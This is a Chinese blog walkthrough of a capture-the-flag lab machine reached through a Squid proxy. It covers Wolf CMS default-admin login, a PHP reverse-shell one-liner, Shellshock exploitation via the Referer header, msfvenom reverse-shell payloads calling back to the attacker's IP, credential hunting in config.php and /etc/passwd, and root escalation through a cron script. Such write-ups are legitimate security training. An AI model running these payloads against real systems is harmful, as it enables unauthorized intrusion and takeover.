1

扫描存活主机

扫描靶机地址

sudo arp-scan 192.168.188.0/24

1

通过对两次扫描的比对得知靶机ip为192.168.188.176

对靶机所有端口进行扫描

sudo nmap --min-rate 10000 -p- 192.168.188.176

1

对扫描出来的端口进行扫描,扫描他的版本号和主机的版本号,8080端口也加上,既然扫描出来了就试试

sudo nmap -sT -sV -O -p22,3128,8080 192.168.188.176

1

对udp进行扫描

sudo nmap -sU -p22,3128,8080 192.168.188.176

1

暂时没有发现有用信息,对端口使用脚本扫描

sudo nmap --script=vuln -p22,3128,8080 192.168.188.176

1

依旧没有发现有用信息

信息梳理

1

详细的端口扫描暗示我们靶机提供的是一个代理的服务,而且大概率为linux系统

WEB渗透

没有头绪,看到提供了http服务,尝试访问ip地址

1

因为8080没有开所以访问失败,尝试访问3128端口

1

发现一个服务器返回的一个报错信息,发现一个服务器管理员,用F12检查发现应该是点击这个给管理员发送一个信息,还有一个squid和前面的信息相对应

1

百度发现这应该是一个代理服务器,现在思路有两条,一条是通过目录爆破尝试爆破3128端口下还有没有别的网站,还有一条是通过设置代理尝试去访问

目录爆破

先用目录爆破尝试爆破一下网站

sudo dirb http://192.168.188.128:3128/

1

没有发现任何信息,尝试使用gobuster再次爆破

1

gobuster因为网站的端口没有开放还是不能爆破,尝试使用代理服务器的办法

1

因为端口没有开放,所以扫描失败

尝试使用dirb指定3128端口进行扫描

sudo dirb http://192.168.188.128 -p http://192.168.188.128:3128

1

-p指定使用的代理进行扫描

方法一

发现了robots.txt尝试利用该文件,先修改浏览器的代理

1

配置完代理后直接访问靶机

1

百度之后发现表达郁闷的意思,查看源码也没发现什么信息,尝试访问robots.txt和robots,两个内容一样

1

发现了一个新的路径,尝试访问

1

发现了一个wolf cms,通过对网站的点击,发现这个网站的内容被一些无关的信息填充,得知这是一个2015年就搭建好的网站,尝试搜索这个cms默认的管理员路径

1

发现默认路径,尝试能否访问

1

成功访问,利用首先尝试弱密码

1

成功登陆,发现账号密码都为admin,如果无法登陆,可以尝试在网上找默认的密码

插入反弹shell

1

随便点开一个homepage,发现有代码,可以尝试使用一句话木马获取权限

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.188.177/443 0>&1'");?>

1

代码插入之后想办法执行插入的代码,因为代码插入到article中,所以想办法点选几个有关article的按钮让他执行插入的木马

1

成功获取反弹shell

sudo nc -lvnp 443

1

注:至于为什么要把代码插入article而不是homepage则是之前探测到wolfcms,进入网站查看是否有有用的信息时发现点击articles时会发生跳转,这可以执行我们插入的一句话木马

查看是否为靶机ip已经当前用户

1

查看当前路径下的文件有无flag.txt

1

很明显没有,查看当前用户权限

1

发现不支持sudo命令,尝试查看config.php,一般来说网站的账号和密码都会配置在config.php文件中,当前用户找不到flag说明需要进行提权

提权

1

打开发现账号和密码分别为root和john@123,猜测为管理员使用22端口登录的密码,尝试使用ssh登录

1

登录失败,开始查看系统中有哪些用户

cat /etc/passwd

1

大部分都是功能性账户,www-data和backup都有可能是,最后发现了sickos,与靶机名字一样,高度关注

1

其余账号都失败,只有sickos账号成功登录,查看当前用户和ip

1

确定进入靶机,查看当前用户的权限

1

密码与登录密码一样,拥有全部权限

1

建立一个bash环境,成功提权

1

切换至root目录,成功得到flag

小总结

通过在对网页基本的浏览得知可以插入一句话木马,至于插入的地方就看自己细不细心了,足够细心就能找到正确插入木马的地方,然后通过对配置文件的访问得知账号和密码,ssh远程登录失败再去查看存在的用户有哪些,然后通过尝试发现sickos用户能够ssh登录并且拥有全部的权限,通过新建一个bash环境切换到root用户,再查看root用户的目录发现flag,其实网站的攻击面很广,除了插入反弹shell也可以尝试文件上传等漏洞,就不尝试其他的攻击方法了

方法二

nikto可以检测web应用程序和服务中的漏洞和不安全配置,使用nikto指定代理对靶机进行扫描

sudo nikto -h 192.168.188.128 -useproxy http://192.168.188.128:3128

1

-h后面跟目标ip,-useproxy表示使用代理,后面跟使用的代理的ip或者端口

发现一个shellshock的漏洞(也称bash之门),这个漏洞在老的linux机器中很有用,特别是bash在4.1版本之前

shellshock利用

尝试利用shellshock

sudo curl -v --proxy http://192.168.188.128:3128 http://192.168.188.128/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"

1

发现存在shellshock漏洞,使用msfvenom,尝试构造payload

sudo msfvenom -p cmd/unix/reverse_bash lhost=192.168.188.177 lport=443 -f raw

1

-p指定payload类型,cmd/unix/reverse_bash:,表明生成一个unix反向bash shell的paylaod,lhost指定监听地址,lport指定监听端口,-f指定输出格式,raw表示输出将是一个原始的字节序列

这里的sh不是完整的路径,如果系统没有配置的话可能会导致连接失败,先尝试这个路径,对自己的443端口开启监听

sudo nc -lvnp 443

1

直接执行payload

sudo curl -v --proxy http://192.168.188.128:3128 http://192.168.188.128/cgi-bin/status -H "Referer:() { test;}; 0<&185-;exec 185<>/dev/tcp/192.168.188.177/443;sh <&185 >&185 2>&185"

1

1

没能获得反弹shell,应该是路径的问题,尝试修改路径

sudo curl -v --proxy http://192.168.188.128:3128 http://192.168.188.128/cgi-bin/status -H "Referer:() { test;}; 0<&185-;exec 185<>/dev/tcp/192.168.188.177/443;/bin/sh <&185 >&185 2>&185"

1

路径修改为/bin/sh后获得一个非交互的shell,用whoami和uname查看当前用户以及系统版本

1

用dpkg查看装了哪些软件

1

发现是与python有关的软件,知道使用的是linux系统,并且有python,尝试用python获得一个交互性更好的shell

python -c "import pty;pty.spawn('/bin/bash')"

1

成功获得一个shell,尝试查看当前用户的权限

1

不知道密码,放弃,查看并尝试读取当前目录的文件

1

查看失败,切换到网页文件存放的地址

1

发现一个robots.txt文件,查看他的内容,发现是个wolfcms的提示,再去查看其他文件的内容

1

发现他里面存了两句话,尝试执行也只是打印出这两句话的内容,根据提示想到有可能在crontab里面留下线索

1

提权

发现一个crontab和一个cron.d目录

注:一般系统的crontab存放于/etc/crontab或者在/etc/cron.d目录下,用于自动执行命令,一般可用于提权

1

查看crontab文件发现没有什么东西,尝试查看cron.d目录下的文件,从automate文件中发现了自动执行命令,前面的connect.py相对应,从这个命令得知,这个命令是每分钟都以root权限执行这个文件,想到往connect.py插入用python编写的payload进行提权

监听自己的端口

sudo nc -lvnp 444

1

指定444端口,利用msfvenom生成payload

sudo msfvenom -p cmd/unix/reverse_python lhost=192.168.188.177 lport=444-f raw

1

将payload插入文件中进行提权

1

因为获得的shell交互性不够,所以界面有点诡异,但是不影响使用,cat一下是否成功插入

1

插入成功

1

提权成功,获得的是root用户的权限,查看文件得到flag

可以使用python获得一个交互性更好的shell

python -c "import pty;pty.spawn('/bin/bash')"

1

-c允许在命令行中执行代码,import pty;表明导入pty模块,使用pty.spawn函数(会启动一个新的进程来执行指定的命)执行/bin/bash这个命令用于打开bashshell

小总结

利用nikto对网站可能有的漏洞进行扫描,发现有个shellshock漏洞可以利用,利用msfvenom生成一个反弹shell的payload,利用shellshock插入靶机,成功获取一个shell环境,通过对文件的查看发现有个conncet.py每分钟都以root权限执行一次,插入python写的payload提权成功

文件路径

自动执行文件:crontab存放于/etc/crontab或者在/etc/cron.d目录下,用于自动执行命令,一般可用于提权

用户文件:大多数基于Debian的Linux发行版,包括Ubuntu中,用户账户信息通常存储在/etc/passwd文件中,密码一般存储在/etc/shadow文件中

网站文件:在Linux系统中,特别是基于Debian和Ubuntu的系统中,网站的默认文档根目录通常是/var/www/var/www/htmlApache服务器,默认的文档根目录通常是/var/www/html,Nginx服务器默认目录通常为/var/www/usr/share/nginx/html等目录

bash:bash一般位于/bin/bash中,使用这个命令可以打开bashshell

shellshock原理

Shellshock 漏洞允许攻击者通过在环境变量或某些 HTTP 头部中注入特定的 Bash 代码来执行任意命令

sudo curl -v --proxy http://192.168.188.128:3128 http://192.168.188.128/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"

这串代码通过curl指定ip和端口,修改Referer的内容去包含一个bash的代码,将代码的具体内容利用test函数包含,Content-Type指示服务器返回一个文本类型的响应,两个echo输出空行,/usr/bin/id显示当前用户的实际和有效用户 ID 以及组 ID,在上述代码完成后exit退出,所以将echo; echo; /usr/bin/id;exit替换为将要使用的恶意代码就能实现shellshock的利用

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇